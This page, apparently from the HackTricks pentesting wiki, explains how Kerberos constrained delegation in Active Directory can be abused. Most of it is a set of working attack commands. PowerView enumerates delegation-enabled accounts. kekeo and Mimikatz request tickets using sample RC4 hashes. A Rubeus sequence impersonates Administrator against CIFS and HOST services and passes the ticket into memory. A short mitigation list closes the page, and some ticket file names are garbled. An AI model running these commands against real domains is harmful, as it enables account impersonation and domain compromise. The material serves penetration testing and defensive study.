Constrained Delegation

Support HackTricks and get benefits!
Constrained Delegation
Using this a Domain admin can allow 3rd parties to impersonate a user or computer against a service of a machine.
Service for User to self (S4U2self): If a service account has a userAccountControl value containing TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D), then it can obtains a TGS for itself (the service) on behalf of any other user.
Service for User to Proxy(S4U2proxy): A service account could obtain a TGS on behalf any user to the service set in msDS-AllowedToDelegateTo. To do so, it first need a TGS from that user to itself, but it can use S4U2self to obtain that TGS before requesting the other one.
Note: If a user is marked as ‘Account is sensitive and cannot be delegated ’ in AD, you will not be able to impersonate them.
This means that if you compromise the hash of the service you can impersonate users and obtain access on their behalf to the service configured (possible privesc).
Also, you won't only have access to the service that user is able to impersonate, but also to any service that uses the same account as the allowed one (because the SPN is not being checked, only privileges). For example, if you have access to CIFS service you can also have access to HOST service.
Moreover, notice that if you have access to LDAP service on DC, you will have enough privileges to exploit a DCSync.
Enumerate from Powerview
1
Get-DomainUser -TrustedToAuth
2
Get-DomainComputer -TrustedToAuth
Copied!
Using kekeo.exe + Mimikatz.exe
1
#Obtain a TGT for the Constained allowed user
2
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
3
#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
4
tgs::s4u /tgt:TGT_dcorpadminsrv[email protected][email protected]LAR CORP.MONEYCORP.LOCAL.kirbi /user:[email protected] /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
5
#Load the TGS in memory
6
Invoke-Mimikatz -Command '"kerberos::ptt [email protected]@DOLLARCORP.MONEYCORP.LOCAL_ldap~ [email protected]_ALT.kirbi"'  
Copied!
Using Rubeus
1
#Obtain a TGT for the Constained allowed user
2
.\Rubeus.exe asktgt /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
3
#Obtain a TGS of the Administrator user to self
4
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
5
#Obtain service TGS impersonating Administrator (CIFS)
6
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:[email protected][email protected] /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
7
#Impersonate Administrator on different service (HOST)
8
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:[email protected][email protected] /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
9
#Load ticket in memory
10
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
Copied!
Mitigation
Disable kerberos delegation where possible
Limit DA/Admin logins to specific services
Set "Account is sensitive and cannot be delegated" for privileged accounts.
​More information in ired.team.​
Support HackTricks and get benefits!

BloodHound

Custom SSP

Last modified 2mo ago

Copy link

Contents

Constrained Delegation

Mitigation